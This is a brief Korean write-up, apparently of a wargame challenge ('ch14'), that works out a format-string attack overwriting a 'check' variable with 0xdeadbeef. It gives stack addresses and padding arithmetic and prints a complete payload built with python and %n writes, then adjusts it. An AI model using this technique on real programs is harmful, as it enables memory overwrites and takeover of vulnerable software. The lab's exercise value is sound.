%8x를 9번 썼을때 41414141이 나왔다.
여기서 check의 주소를 알려주었으므로 이를 이용한다.
0xbffffbd8에 0xbeef를 넣고,
0xbffffbda에 0xdead를 넣는다.
0xdead=57005
0xbeef=48879
57005-48879=8126이다.
따라서 페이로드는 다음과 같다.
./ch14 `python -c 'print "A"*4+"\xd8\xfb\xff\xbf"+"A"*4+"\xda\xfb\xff\xbf"+"%8x"*8+"%48839c"+"%n"+"%8126c"+"%n"'`
이때 check의 주소가 0xbffffbb8로 바뀌는 것을 확인할 수 있다.
페이로드를 수정해준다.
하지만, beef가 bf17로 나온다.
0xbf17-0xbeef=40
48839-40=48799이고,
%48799c를 넣으면 뚫린다!